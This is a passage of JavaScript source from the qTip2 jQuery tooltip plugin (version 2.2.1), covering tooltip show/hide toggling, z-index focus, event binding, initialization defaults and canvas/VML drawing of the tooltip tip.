=== FALSE || animate === FALSE) { tooltip[ type ](); after(); } // Use custom function if provided else if($.isFunction(opts.effect)) { tooltip.stop(1, 1); opts.effect.call(tooltip, this); tooltip.queue('fx', function(n) { after(); n(); }); } // Use basic fade function by default else { tooltip.fadeTo(90, state ? 1 : 0, after); } // If inactive hide method is set, active it if(state) { opts.target.trigger('qtip-'+this.id+'-inactive'); } return this; }; PROTOTYPE.show = function(event) { return this.toggle(TRUE, event); }; PROTOTYPE.hide = function(event) { return this.toggle(FALSE, event); }; ;PROTOTYPE.focus = function(event) { if(!this.rendered || this.destroyed) { return this; } var qtips = $(SELECTOR), tooltip = this.tooltip, curIndex = parseInt(tooltip[0].style.zIndex, 10), newIndex = QTIP.zindex + qtips.length, focusedElem; // Only update the z-index if it has changed and tooltip is not already focused if(!tooltip.hasClass(CLASS_FOCUS)) { // tooltipfocus event if(this._trigger('focus', [newIndex], event)) { // Only update z-index's if they've changed if(curIndex !== newIndex) { // Reduce our z-index's and keep them properly ordered qtips.each(function() { if(this.style.zIndex > curIndex) { this.style.zIndex = this.style.zIndex - 1; } }); // Fire blur event for focused tooltip qtips.filter('.' + CLASS_FOCUS).qtip('blur', event); } // Set the new z-index tooltip.addClass(CLASS_FOCUS)[0].style.zIndex = newIndex; } } return this; }; PROTOTYPE.blur = function(event) { if(!this.rendered || this.destroyed) { return this; } // Set focused status to FALSE this.tooltip.removeClass(CLASS_FOCUS); // tooltipblur event this._trigger('blur', [ this.tooltip.css('zIndex') ], event); return this; }; ;PROTOTYPE.disable = function(state) { if(this.destroyed) { return this; } // If 'toggle' is passed, toggle the current state if(state === 'toggle') { state = !(this.rendered ? this.tooltip.hasClass(CLASS_DISABLED) : this.disabled); } // Disable if no state passed else if('boolean' !== typeof state) { state = TRUE; } if(this.rendered) { this.tooltip.toggleClass(CLASS_DISABLED, state) .attr('aria-disabled', state); } this.disabled = !!state; return this; }; PROTOTYPE.enable = function() { return this.disable(FALSE); }; ;PROTOTYPE._createButton = function() { var self = this, elements = this.elements, tooltip = elements.tooltip, button = this.options.content.button, isString = typeof button === 'string', close = isString ? button : 'Close tooltip'; if(elements.button) { elements.button.remove(); } // Use custom button if one was supplied by user, else use default if(button.jquery) { elements.button = button; } else { elements.button = $('<a />', { 'class': 'qtip-close ' + (this.options.style.widget ? '' : NAMESPACE+'-icon'), 'title': close, 'aria-label': close }) .prepend( $('<span />', { 'class': 'ui-icon ui-icon-close', 'html': '×' }) ); } // Create button and setup attributes elements.button.appendTo(elements.titlebar || tooltip) .attr('role', 'button') .click(function(event) { if(!tooltip.hasClass(CLASS_DISABLED)) { self.hide(event); } return FALSE; }); }; PROTOTYPE._updateButton = function(button) { // Make sure tooltip is rendered and if not, return if(!this.rendered) { return FALSE; } var elem = this.elements.button; if(button) { this._createButton(); } else { elem.remove(); } }; ;// Widget class creator function createWidgetClass(cls) { return WIDGET.concat('').join(cls ? '-'+cls+' ' : ' '); } // Widget class setter method PROTOTYPE._setWidget = function() { var on = this.options.style.widget, elements = this.elements, tooltip = elements.tooltip, disabled = tooltip.hasClass(CLASS_DISABLED); tooltip.removeClass(CLASS_DISABLED); CLASS_DISABLED = on ? 'ui-state-disabled' : 'qtip-disabled'; tooltip.toggleClass(CLASS_DISABLED, disabled); tooltip.toggleClass('ui-helper-reset '+createWidgetClass(), on).toggleClass(CLASS_DEFAULT, this.options.style.def && !on); if(elements.content) { elements.content.toggleClass( createWidgetClass('content'), on); } if(elements.titlebar) { elements.titlebar.toggleClass( createWidgetClass('header'), on); } if(elements.button) { elements.button.toggleClass(NAMESPACE+'-icon', !on); } }; ;function delay(callback, duration) { // If tooltip has displayed, start hide timer if(duration > 0) { return setTimeout( $.proxy(callback, this), duration ); } else{ callback.call(this); } } function showMethod(event) { if(this.tooltip.hasClass(CLASS_DISABLED)) { return; } // Clear hide timers clearTimeout(this.timers.show); clearTimeout(this.timers.hide); // Start show timer this.timers.show = delay.call(this, function() { this.toggle(TRUE, event); }, this.options.show.delay ); } function hideMethod(event) { if(this.tooltip.hasClass(CLASS_DISABLED) || this.destroyed) { return; } // Check if new target was actually the tooltip element var relatedTarget = $(event.relatedTarget), ontoTooltip = relatedTarget.closest(SELECTOR)[0] === this.tooltip[0], ontoTarget = relatedTarget[0] === this.options.show.target[0]; // Clear timers and stop animation queue clearTimeout(this.timers.show); clearTimeout(this.timers.hide); // Prevent hiding if tooltip is fixed and event target is the tooltip. // Or if mouse positioning is enabled and cursor momentarily overlaps if(this !== relatedTarget[0] && (this.options.position.target === 'mouse' && ontoTooltip) || (this.options.hide.fixed && ( (/mouse(out|leave|move)/).test(event.type) && (ontoTooltip || ontoTarget)) )) { try { event.preventDefault(); event.stopImmediatePropagation(); } catch(e) {} return; } // If tooltip has displayed, start hide timer this.timers.hide = delay.call(this, function() { this.toggle(FALSE, event); }, this.options.hide.delay, this ); } function inactiveMethod(event) { if(this.tooltip.hasClass(CLASS_DISABLED) || !this.options.hide.inactive) { return; } // Clear timer clearTimeout(this.timers.inactive); this.timers.inactive = delay.call(this, function(){ this.hide(event); }, this.options.hide.inactive ); } function repositionMethod(event) { if(this.rendered && this.tooltip[0].offsetWidth > 0) { this.reposition(event); } } // Store mouse coordinates PROTOTYPE._storeMouse = function(event) { (this.mouse = $.event.fix(event)).type = 'mousemove'; return this; }; // Bind events PROTOTYPE._bind = function(targets, events, method, suffix, context) { if(!targets || !method || !events.length) { return; } var ns = '.' + this._id + (suffix ? '-'+suffix : ''); $(targets).bind( (events.split ? events : events.join(ns + ' ')) + ns, $.proxy(method, context || this) ); return this; }; PROTOTYPE._unbind = function(targets, suffix) { targets && $(targets).unbind('.' + this._id + (suffix ? '-'+suffix : '')); return this; }; // Global delegation helper function delegate(selector, events, method) { $(document.body).delegate(selector, (events.split ? events : events.join('.'+NAMESPACE + ' ')) + '.'+NAMESPACE, function() { var api = QTIP.api[ $.attr(this, ATTR_ID) ]; api && !api.disabled && method.apply(api, arguments); } ); } // Event trigger PROTOTYPE._trigger = function(type, args, event) { var callback = $.Event('tooltip'+type); callback.originalEvent = (event && $.extend({}, event)) || this.cache.event || NULL; this.triggering = type; this.tooltip.trigger(callback, [this].concat(args || [])); this.triggering = FALSE; return !callback.isDefaultPrevented(); }; PROTOTYPE._bindEvents = function(showEvents, hideEvents, showTargets, hideTargets, showMethod, hideMethod) { // Get tasrgets that lye within both var similarTargets = showTargets.filter( hideTargets ).add( hideTargets.filter(showTargets) ), toggleEvents = []; // If hide and show targets are the same... if(similarTargets.length) { // Filter identical show/hide events $.each(hideEvents, function(i, type) { var showIndex = $.inArray(type, showEvents); // Both events are identical, remove from both hide and show events // and append to toggleEvents showIndex > -1 && toggleEvents.push( showEvents.splice( showIndex, 1 )[0] ); }); // Toggle events are special case of identical show/hide events, which happen in sequence if(toggleEvents.length) { // Bind toggle events to the similar targets this._bind(similarTargets, toggleEvents, function(event) { var state = this.rendered ? this.tooltip[0].offsetWidth > 0 : false; (state ? hideMethod : showMethod).call(this, event); }); // Remove the similar targets from the regular show/hide bindings showTargets = showTargets.not(similarTargets); hideTargets = hideTargets.not(similarTargets); } } // Apply show/hide/toggle events this._bind(showTargets, showEvents, showMethod); this._bind(hideTargets, hideEvents, hideMethod); }; PROTOTYPE._assignInitialEvents = function(event) { var options = this.options, showTarget = options.show.target, hideTarget = options.hide.target, showEvents = options.show.event ? $.trim('' + options.show.event).split(' ') : [], hideEvents = options.hide.event ? $.trim('' + options.hide.event).split(' ') : []; // Catch remove/removeqtip events on target element to destroy redundant tooltips this._bind(this.elements.target, ['remove', 'removeqtip'], function(event) { this.destroy(true); }, 'destroy'); /* * Make sure hoverIntent functions properly by using mouseleave as a hide event if * mouseenter/mouseout is used for show.event, even if it isn't in the users options. */ if(/mouse(over|enter)/i.test(options.show.event) && !/mouse(out|leave)/i.test(options.hide.event)) { hideEvents.push('mouseleave'); } /* * Also make sure initial mouse targetting works correctly by caching mousemove coords * on show targets before the tooltip has rendered. Also set onTarget when triggered to * keep mouse tracking working. */ this._bind(showTarget, 'mousemove', function(event) { this._storeMouse(event); this.cache.onTarget = TRUE; }); // Define hoverIntent function function hoverIntent(event) { // Only continue if tooltip isn't disabled if(this.disabled || this.destroyed) { return FALSE; } // Cache the event data this.cache.event = event && $.event.fix(event); this.cache.target = event && $(event.target); // Start the event sequence clearTimeout(this.timers.show); this.timers.show = delay.call(this, function() { this.render(typeof event === 'object' || options.show.ready); }, options.prerender ? 0 : options.show.delay ); } // Filter and bind events this._bindEvents(showEvents, hideEvents, showTarget, hideTarget, hoverIntent, function() { if(!this.timers) { return FALSE; } clearTimeout(this.timers.show); }); // Prerendering is enabled, create tooltip now if(options.show.ready || options.prerender) { hoverIntent.call(this, event); } }; // Event assignment method PROTOTYPE._assignEvents = function() { var self = this, options = this.options, posOptions = options.position, tooltip = this.tooltip, showTarget = options.show.target, hideTarget = options.hide.target, containerTarget = posOptions.container, viewportTarget = posOptions.viewport, documentTarget = $(document), bodyTarget = $(document.body), windowTarget = $(window), showEvents = options.show.event ? $.trim('' + options.show.event).split(' ') : [], hideEvents = options.hide.event ? $.trim('' + options.hide.event).split(' ') : []; // Assign passed event callbacks $.each(options.events, function(name, callback) { self._bind(tooltip, name === 'toggle' ? ['tooltipshow','tooltiphide'] : ['tooltip'+name], callback, null, tooltip); }); // Hide tooltips when leaving current window/frame (but not select/option elements) if(/mouse(out|leave)/i.test(options.hide.event) && options.hide.leave === 'window') { this._bind(documentTarget, ['mouseout', 'blur'], function(event) { if(!/select|option/.test(event.target.nodeName) && !event.relatedTarget) { this.hide(event); } }); } // Enable hide.fixed by adding appropriate class if(options.hide.fixed) { hideTarget = hideTarget.add( tooltip.addClass(CLASS_FIXED) ); } /* * Make sure hoverIntent functions properly by using mouseleave to clear show timer if * mouseenter/mouseout is used for show.event, even if it isn't in the users options. */ else if(/mouse(over|enter)/i.test(options.show.event)) { this._bind(hideTarget, 'mouseleave', function() { clearTimeout(this.timers.show); }); } // Hide tooltip on document mousedown if unfocus events are enabled if(('' + options.hide.event).indexOf('unfocus') > -1) { this._bind(containerTarget.closest('html'), ['mousedown', 'touchstart'], function(event) { var elem = $(event.target), enabled = this.rendered && !this.tooltip.hasClass(CLASS_DISABLED) && this.tooltip[0].offsetWidth > 0, isAncestor = elem.parents(SELECTOR).filter(this.tooltip[0]).length > 0; if(elem[0] !== this.target[0] && elem[0] !== this.tooltip[0] && !isAncestor && !this.target.has(elem[0]).length && enabled ) { this.hide(event); } }); } // Check if the tooltip hides when inactive if('number' === typeof options.hide.inactive) { // Bind inactive method to show target(s) as a custom event this._bind(showTarget, 'qtip-'+this.id+'-inactive', inactiveMethod, 'inactive'); // Define events which reset the 'inactive' event handler this._bind(hideTarget.add(tooltip), QTIP.inactiveEvents, inactiveMethod); } // Filter and bind events this._bindEvents(showEvents, hideEvents, showTarget, hideTarget, showMethod, hideMethod); // Mouse movement bindings this._bind(showTarget.add(tooltip), 'mousemove', function(event) { // Check if the tooltip hides when mouse is moved a certain distance if('number' === typeof options.hide.distance) { var origin = this.cache.origin || {}, limit = this.options.hide.distance, abs = Math.abs; // Check if the movement has gone beyond the limit, and hide it if so if(abs(event.pageX - origin.pageX) >= limit || abs(event.pageY - origin.pageY) >= limit) { this.hide(event); } } // Cache mousemove coords on show targets this._storeMouse(event); }); // Mouse positioning events if(posOptions.target === 'mouse') { // If mouse adjustment is on... if(posOptions.adjust.mouse) { // Apply a mouseleave event so we don't get problems with overlapping if(options.hide.event) { // Track if we're on the target or not this._bind(showTarget, ['mouseenter', 'mouseleave'], function(event) { if(!this.cache) {return FALSE; } this.cache.onTarget = event.type === 'mouseenter'; }); } // Update tooltip position on mousemove this._bind(documentTarget, 'mousemove', function(event) { // Update the tooltip position only if the tooltip is visible and adjustment is enabled if(this.rendered && this.cache.onTarget && !this.tooltip.hasClass(CLASS_DISABLED) && this.tooltip[0].offsetWidth > 0) { this.reposition(event); } }); } } // Adjust positions of the tooltip on window resize if enabled if(posOptions.adjust.resize || viewportTarget.length) { this._bind( $.event.special.resize ? viewportTarget : windowTarget, 'resize', repositionMethod ); } // Adjust tooltip position on scroll of the window or viewport element if present if(posOptions.adjust.scroll) { this._bind( windowTarget.add(posOptions.container), 'scroll', repositionMethod ); } }; // Un-assignment method PROTOTYPE._unassignEvents = function() { var options = this.options, showTargets = options.show.target, hideTargets = options.hide.target, targets = $.grep([ this.elements.target[0], this.rendered && this.tooltip[0], options.position.container[0], options.position.viewport[0], options.position.container.closest('html')[0], // unfocus window, document ], function(i) { return typeof i === 'object'; }); // Add show and hide targets if they're valid if(showTargets && showTargets.toArray) { targets = targets.concat(showTargets.toArray()); } if(hideTargets && hideTargets.toArray) { targets = targets.concat(hideTargets.toArray()); } // Unbind the events this._unbind(targets) ._unbind(targets, 'destroy') ._unbind(targets, 'inactive'); }; // Apply common event handlers using delegate (avoids excessive .bind calls!) $(function() { delegate(SELECTOR, ['mouseenter', 'mouseleave'], function(event) { var state = event.type === 'mouseenter', tooltip = $(event.currentTarget), target = $(event.relatedTarget || event.target), options = this.options; // On mouseenter... if(state) { // Focus the tooltip on mouseenter (z-index stacking) this.focus(event); // Clear hide timer on tooltip hover to prevent it from closing tooltip.hasClass(CLASS_FIXED) && !tooltip.hasClass(CLASS_DISABLED) && clearTimeout(this.timers.hide); } // On mouseleave... else { // When mouse tracking is enabled, hide when we leave the tooltip and not onto the show target (if a hide event is set) if(options.position.target === 'mouse' && options.position.adjust.mouse && options.hide.event && options.show.target && !target.closest(options.show.target[0]).length) { this.hide(event); } } // Add hover class tooltip.toggleClass(CLASS_HOVER, state); }); // Define events which reset the 'inactive' event handler delegate('['+ATTR_ID+']', INACTIVE_EVENTS, inactiveMethod); }); ;// Initialization method function init(elem, id, opts) { var obj, posOptions, attr, config, title, // Setup element references docBody = $(document.body), // Use document body instead of document element if needed newTarget = elem[0] === document ? docBody : elem, // Grab metadata from element if plugin is present metadata = (elem.metadata) ? elem.metadata(opts.metadata) : NULL, // If metadata type if HTML5, grab 'name' from the object instead, or use the regular data object otherwise metadata5 = opts.metadata.type === 'html5' && metadata ? metadata[opts.metadata.name] : NULL, // Grab data from metadata.name (or data-qtipopts as fallback) using .data() method, html5 = elem.data(opts.metadata.name || 'qtipopts'); // If we don't get an object returned attempt to parse it manualyl without parseJSON try { html5 = typeof html5 === 'string' ? $.parseJSON(html5) : html5; } catch(e) {} // Merge in and sanitize metadata config = $.extend(TRUE, {}, QTIP.defaults, opts, typeof html5 === 'object' ? sanitizeOptions(html5) : NULL, sanitizeOptions(metadata5 || metadata)); // Re-grab our positioning options now we've merged our metadata and set id to passed value posOptions = config.position; config.id = id; // Setup missing content if none is detected if('boolean' === typeof config.content.text) { attr = elem.attr(config.content.attr); // Grab from supplied attribute if available if(config.content.attr !== FALSE && attr) { config.content.text = attr; } // No valid content was found, abort render else { return FALSE; } } // Setup target options if(!posOptions.container.length) { posOptions.container = docBody; } if(posOptions.target === FALSE) { posOptions.target = newTarget; } if(config.show.target === FALSE) { config.show.target = newTarget; } if(config.show.solo === TRUE) { config.show.solo = posOptions.container.closest('body'); } if(config.hide.target === FALSE) { config.hide.target = newTarget; } if(config.position.viewport === TRUE) { config.position.viewport = posOptions.container; } // Ensure we only use a single container posOptions.container = posOptions.container.eq(0); // Convert position corner values into x and y strings posOptions.at = new CORNER(posOptions.at, TRUE); posOptions.my = new CORNER(posOptions.my); // Destroy previous tooltip if overwrite is enabled, or skip element if not if(elem.data(NAMESPACE)) { if(config.overwrite) { elem.qtip('destroy', true); } else if(config.overwrite === FALSE) { return FALSE; } } // Add has-qtip attribute elem.attr(ATTR_HAS, id); // Remove title attribute and store it if present if(config.suppress && (title = elem.attr('title'))) { // Final attr call fixes event delegatiom and IE default tooltip showing problem elem.removeAttr('title').attr(oldtitle, title).attr('title', ''); } // Initialize the tooltip and add API reference obj = new QTip(elem, config, id, !!attr); elem.data(NAMESPACE, obj); return obj; } // jQuery $.fn extension method QTIP = $.fn.qtip = function(options, notation, newValue) { var command = ('' + options).toLowerCase(), // Parse command returned = NULL, args = $.makeArray(arguments).slice(1), event = args[args.length - 1], opts = this[0] ? $.data(this[0], NAMESPACE) : NULL; // Check for API request if((!arguments.length && opts) || command === 'api') { return opts; } // Execute API command if present else if('string' === typeof options) { this.each(function() { var api = $.data(this, NAMESPACE); if(!api) { return TRUE; } // Cache the event if possible if(event && event.timeStamp) { api.cache.event = event; } // Check for specific API commands if(notation && (command === 'option' || command === 'options')) { if(newValue !== undefined || $.isPlainObject(notation)) { api.set(notation, newValue); } else { returned = api.get(notation); return FALSE; } } // Execute API command else if(api[command]) { api[command].apply(api, args); } }); return returned !== NULL ? returned : this; } // No API commands. validate provided options and setup qTips else if('object' === typeof options || !arguments.length) { // Sanitize options first opts = sanitizeOptions($.extend(TRUE, {}, options)); return this.each(function(i) { var api, id; // Find next available ID, or use custom ID if provided id = $.isArray(opts.id) ? opts.id[i] : opts.id; id = !id || id === FALSE || id.length < 1 || QTIP.api[id] ? QTIP.nextid++ : id; // Initialize the qTip and re-grab newly sanitized options api = init($(this), id, opts); if(api === FALSE) { return TRUE; } else { QTIP.api[id] = api; } // Initialize plugins $.each(PLUGINS, function() { if(this.initialize === 'initialize') { this(api); } }); // Assign initial pre-render events api._assignInitialEvents(event); }); } }; // Expose class $.qtip = QTip; // Populated in render method QTIP.api = {}; ;$.each({ /* Allow other plugins to successfully retrieve the title of an element with a qTip applied */ attr: function(attr, val) { if(this.length) { var self = this[0], title = 'title', api = $.data(self, 'qtip'); if(attr === title && api && 'object' === typeof api && api.options.suppress) { if(arguments.length < 2) { return $.attr(self, oldtitle); } // If qTip is rendered and title was originally used as content, update it if(api && api.options.content.attr === title && api.cache.attr) { api.set('content.text', val); } // Use the regular attr method to set, then cache the result return this.attr(oldtitle, val); } } return $.fn['attr'+replaceSuffix].apply(this, arguments); }, /* Allow clone to correctly retrieve cached title attributes */ clone: function(keepData) { var titles = $([]), title = 'title', // Clone our element using the real clone method elems = $.fn['clone'+replaceSuffix].apply(this, arguments); // Grab all elements with an oldtitle set, and change it to regular title attribute, if keepData is false if(!keepData) { elems.filter('['+oldtitle+']').attr('title', function() { return $.attr(this, oldtitle); }) .removeAttr(oldtitle); } return elems; } }, function(name, func) { if(!func || $.fn[name+replaceSuffix]) { return TRUE; } var old = $.fn[name+replaceSuffix] = $.fn[name]; $.fn[name] = function() { return func.apply(this, arguments) || old.apply(this, arguments); }; }); /* Fire off 'removeqtip' handler in $.cleanData if jQuery UI not present (it already does similar). * This snippet is taken directly from jQuery UI source code found here: * http://code.jquery.com/ui/jquery-ui-git.js */ if(!$.ui) { $['cleanData'+replaceSuffix] = $.cleanData; $.cleanData = function( elems ) { for(var i = 0, elem; (elem = $( elems[i] )).length; i++) { if(elem.attr(ATTR_HAS)) { try { elem.triggerHandler('removeqtip'); } catch( e ) {} } } $['cleanData'+replaceSuffix].apply(this, arguments); }; } ;// qTip version QTIP.version = '2.2.1'; // Base ID for all qTips QTIP.nextid = 0; // Inactive events array QTIP.inactiveEvents = INACTIVE_EVENTS; // Base z-index for all qTips QTIP.zindex = 15000; // Define configuration defaults QTIP.defaults = { prerender: FALSE, id: FALSE, overwrite: TRUE, suppress: TRUE, content: { text: TRUE, attr: 'title', title: FALSE, button: FALSE }, position: { my: 'top left', at: 'bottom right', target: FALSE, container: FALSE, viewport: FALSE, adjust: { x: 0, y: 0, mouse: TRUE, scroll: TRUE, resize: TRUE, method: 'flipinvert flipinvert' }, effect: function(api, pos, viewport) { $(this).animate(pos, { duration: 200, queue: FALSE }); } }, show: { target: FALSE, event: 'mouseenter', effect: TRUE, delay: 90, solo: FALSE, ready: FALSE, autofocus: FALSE }, hide: { target: FALSE, event: 'mouseleave', effect: TRUE, delay: 0, fixed: FALSE, inactive: FALSE, leave: 'window', distance: FALSE }, style: { classes: '', widget: FALSE, width: FALSE, height: FALSE, def: TRUE }, events: { render: NULL, move: NULL, show: NULL, hide: NULL, toggle: NULL, visible: NULL, hidden: NULL, focus: NULL, blur: NULL } }; ;var TIP, // .bind()/.on() namespace TIPNS = '.qtip-tip', // Common CSS strings MARGIN = 'margin', BORDER = 'border', COLOR = 'color', BG_COLOR = 'background-color', TRANSPARENT = 'transparent', IMPORTANT = ' !important', // Check if the browser supports <canvas/> elements HASCANVAS = !!document.createElement('canvas').getContext, // Invalid colour values used in parseColours() INVALID = /rgba?\(0, 0, 0(, 0)?\)|transparent|#123456/i; // Camel-case method, taken from jQuery source // http://code.jquery.com/jquery-1.8.0.js function camel(s) { return s.charAt(0).toUpperCase() + s.slice(1); } /* * Modified from Modernizr's testPropsAll() * http://modernizr.com/downloads/modernizr-latest.js */ var cssProps = {}, cssPrefixes = ["Webkit", "O", "Moz", "ms"]; function vendorCss(elem, prop) { var ucProp = prop.charAt(0).toUpperCase() + prop.slice(1), props = (prop + ' ' + cssPrefixes.join(ucProp + ' ') + ucProp).split(' '), cur, val, i = 0; // If the property has already been mapped... if(cssProps[prop]) { return elem.css(cssProps[prop]); } while((cur = props[i++])) { if((val = elem.css(cur)) !== undefined) { return cssProps[prop] = cur, val; } } } // Parse a given elements CSS property into an int function intCss(elem, prop) { return Math.ceil(parseFloat(vendorCss(elem, prop))); } // VML creation (for IE only) if(!HASCANVAS) { var createVML = function(tag, props, style) { return '<qtipvml:'+tag+' xmlns="urn:schemas-microsoft.com:vml" class="qtip-vml" '+(props||'')+ ' style="behavior: url(#default#VML); '+(style||'')+ '" />'; }; } // Canvas only definitions else { var PIXEL_RATIO = window.devicePixelRatio || 1, BACKING_STORE_RATIO = (function() { var context = document.createElement('canvas').getContext('2d'); return context.backingStorePixelRatio || context.webkitBackingStorePixelRatio || context.mozBackingStorePixelRatio || context.msBackingStorePixelRatio || context.oBackingStorePixelRatio || 1; }()), SCALE = PIXEL_RATIO / BACKING_STORE_RATIO; } function Tip(qtip, options) { this._ns = 'tip'; this.options = options; this.offset = options.offset; this.size = [ options.width, options.height ]; // Initialize this.init( (this.qtip = qtip) ); } $.extend(Tip.prototype, { init: function(qtip) { var context, tip; // Create tip element and prepend to the tooltip tip = this.element = qtip.elements.tip = $('<div />', { 'class': NAMESPACE+'-tip' }).prependTo(qtip.tooltip); // Create tip drawing element(s) if(HASCANVAS) { // save() as soon as we create the canvas element so FF2 doesn't bork on our first restore()! context = $('<canvas />').appendTo(this.element)[0].getContext('2d'); // Setup constant parameters context.lineJoin = 'miter'; context.miterLimit = 100000; context.save(); } else { context = createVML('shape', 'coordorigin="0,0"', 'position:absolute;'); this.element.html(context + context); // Prevent mousing down on the tip since it causes problems with .live() handling in IE due to VML qtip._bind( $('*', tip).add(tip), ['click', 'mousedown'], function(event) { event.stopPropagation(); }, this._ns); } // Bind update events qtip._bind(qtip.tooltip, 'tooltipmove', this.reposition, this._ns, this); // Create it this.create(); }, _swapDimensions: function() { this.size[0] = this.options.height; this.size[1] = this.options.width; }, _resetDimensions: function() { this.size[0] = this.options.width; this.size[1] = this.options.height; }, _useTitle: function(corner) { var titlebar = this.qtip.elements.titlebar; return titlebar && ( corner.y === TOP || (corner.y === CENTER && this.element.position().top + (this.size[1] / 2) + this.options.offset < titlebar.outerHeight(TRUE)) ); }, _parseCorner: function(corner) { var my = this.qtip.options.position.my; // Detect corner and mimic properties if(corner === FALSE || my === FALSE) { corner = FALSE; } else if(corner === TRUE) { corner = new CORNER( my.string() ); } else if(!corner.string) { corner = new CORNER(corner); corner.fixed = TRUE; } return corner; }, _parseWidth: function(corner, side, use) { var elements = this.qtip.elements, prop = BORDER + camel(side) + 'Width'; return (use ? intCss(use, prop) : ( intCss(elements.content, prop) || intCss(this._useTitle(corner) && elements.titlebar || elements.content, prop) || intCss(elements.tooltip, prop) )) || 0; }, _parseRadius: function(corner) { var elements = this.qtip.elements, prop = BORDER + camel(corner.y) + camel(corner.x) + 'Radius'; return BROWSER.ie < 9 ? 0 : intCss(this._useTitle(corner) && elements.titlebar || elements.content, prop) || intCss(elements.tooltip, prop) || 0; }, _invalidColour: function(elem, prop, compare) { var val = elem.css(prop); return !val || (compare && val === elem.css(compare)) || INVALID.test(val) ? FALSE : val; }, _parseColours: function(corner) { var elements = this.qtip.elements, tip = this.element.css('cssText', ''), borderSide = BORDER + camel(corner[ corner.precedance ]) + camel(COLOR), colorElem = this._useTitle(corner) && elements.titlebar || elements.content, css = this._invalidColour, color = []; // Attempt to detect the background colour from various elements, left-to-right precedance color[0] = css(tip, BG_COLOR) || css(colorElem, BG_COLOR) || css(elements.content, BG_COLOR) || css(elements.tooltip, BG_COLOR) || tip.css(BG_COLOR); // Attempt to detect the correct border side colour from various elements, left-to-right precedance color[1] = css(tip, borderSide, COLOR) || css(colorElem, borderSide, COLOR) || css(elements.content, borderSide, COLOR) || css(elements.tooltip, borderSide, COLOR) || elements.tooltip.css(borderSide); // Reset background and border colours $('*', tip).add(tip).css('cssText', BG_COLOR+':'+TRANSPARENT+IMPORTANT+';'+BORDER+':0'+IMPORTANT+';'); return color; }, _calculateSize: function(corner) { var y = corner.precedance === Y, width = this.options['width'], height = this.options['height'], isCenter = corner.abbrev() === 'c', base = (y ? width: height) * (isCenter ? 0.5 : 1), pow = Math.pow, round = Math.round, bigHyp, ratio, result, smallHyp = Math.sqrt( pow(base, 2) + pow(height, 2) ), hyp = [ (this.border / base) * smallHyp, (this.border / height) * smallHyp ]; hyp[2] = Math.sqrt( pow(hyp[0], 2) - pow(this.border, 2) ); hyp[3] = Math.sqrt( pow(hyp[1], 2) - pow(this.border, 2) ); bigHyp = smallHyp + hyp[2] + hyp[3] + (isCenter ? 0 : hyp[0]); ratio = bigHyp / smallHyp; result = [ round(ratio * width), round(ratio * height) ]; return y ? result : result.reverse(); }, // Tip coordinates calculator _calculateTip: function(corner, size, scale) { scale = scale || 1; size = size || this.size; var width = size[0] * scale, height = size[1] * scale, width2 = Math.ceil(width / 2), height2 = Math.ceil(height / 2), // Define tip coordinates in terms of height and width values tips = { br: [0,0, width,height, width,0], bl: [0,0, width,0, 0,height], tr: [0,height, width,0, width,height], tl: [0,0, 0,height, width,height], tc: [0,height, width2,0, width,height], bc: [0,0, width,0, width2,height], rc: [0,0, width,height2, 0,height], lc: [width,0, width,height, 0,height2] }; // Set common side shapes tips.lt = tips.br; tips.rt = tips.bl; tips.lb = tips.tr; tips.rb = tips.tl; return tips[ corner.abbrev() ]; }, // Tip coordinates drawer (canvas) _drawCoords: function(context, coords) { context.beginPath(); context.moveTo(coords[0], coords[1]); context.lineTo(coords[2], coords[3]); context.lineTo(coords[4], coords[5]); context.closePath(); }, create: function() { // Determine tip corner var c = this.corner = (HASCANVAS || BROWSER.ie) && this._parseCorner(this.options.corner); // If we have a tip corner... if( (this.enabled = !!this.corner && this.corner.abbrev() !== 'c') ) { // Cache it this.qtip.cache.corner = c.clone(); // Create it this.update(); } // Toggle tip element this.element.toggle(this.enabled); return this.corner; }, update: function(corner, position) { if(!this.enabled) { return this; } var elements = this.qtip.elements, tip = this.element, inner = tip.children(), options = this.options, curSize = this.size, mimic = options.mimic, round = Math.round, color, precedance, context, coords, bigCoords, translate, newSize, border, BACKING_STORE_RATIO; // Re-determine tip if not already set if(!corner) { corner = this.qtip.cache.corner || this.corner; } // Use corner property if we detect an invalid mimic value if(mimic === FALSE) { mimic = corner; } // Otherwise inherit mimic properties from the corner object as necessary else { mimic = new CORNER(mimic); mimic.precedance = corner.precedance; if(mimic.x === 'inherit') { mimic.x = corner.x; } else if(mimic.y === 'inherit') { mimic.y = corner.y; } else if(mimic.x === mimic.y) { mimic[ corner.precedance ] = corner[ corner.precedance ]; } } precedance = mimic.precedance; // Ensure the tip width.height are relative to the tip position if(corner.precedance === X) { this._swapDimensions(); } else { this._resetDimensions(); } // Update our colours color = this.color = this._parseColours(corner); // Detect border width, taking into account colours if(color[1] !== TRANSPARENT) { // Grab border width border = this.border = this._parseWidth(corner, corner[corner.precedance]); // If border width isn't zero, use border color as fill if it's not invalid (1.0 style tips) if(options.border && border < 1 && !INVALID.test(color[1])) { color[0] = color[1]; } // Set border width (use detected border width if options.border is true) this.border = border = options.border !== TRUE ? options.border : border; } // Border colour was invalid, set border to zero else { this.border = border = 0; } // Determine tip size newSize = this.size = this._calculateSize(corner); tip.css({ width: newSize[0], height: newSize[1], lineHeight: newSize[1]+'px' }); // Calculate tip translation if(corner.precedance === Y) { translate = [ round(mimic.x === LEFT ? border : mimic.x === RIGHT ? newSize[0] - curSize[0] - border : (newSize[0] - curSize[0]) / 2), round(mimic.y === TOP ? newSize[1] - curSize[1] : 0) ]; } else { translate = [ round(mimic.x === LEFT ? newSize[0] - curSize[0] : 0), round(mimic.y === TOP ? border : mimic.y === BOTTOM ? newSize[1] - curSize[1] - border : (newSize[1] - curSize[1]) / 2) ]; } // Canvas drawing implementation if(HASCANVAS) { // Grab canvas context and clear/save it context = inner[0].getContext('2d'); context.restore(); context.save(); context.clearRect(0,0,6000,6000); // Calculate coordinates coords = this._calculateTip(mimic, curSize, SCALE); bigCoords = this._calculateTip(mimic, this.size, SCALE); // Set the canvas size using calculated size inner.attr(WIDTH, newSize[0] * SCALE).attr(HEIGHT, newSize[1] * SCALE); inner.css(WIDTH, newSize[0]).css(HEIGHT, newSize[1]); // Draw the outer-stroke tip this._drawCoords(context, bigCoords); context.fillStyle = color[1]; context.fill(); // Draw the actual tip context.translate(translate[0] * SCALE, translate[1] * SCALE); this._drawCoords(context, coords); context.fillStyle = color[0]; context.fill(); } // VML (IE Proprietary implementation) else { // Calculate coordinates coords = this._calculateTip(mimic); // Setup coordinates string coords = 'm' + coords[0] + ',' + coords[1] + ' l' + coords[2] + ',' + coords[3] + ' ' + coords[4] + ',' + coords[5] + ' xe'; // 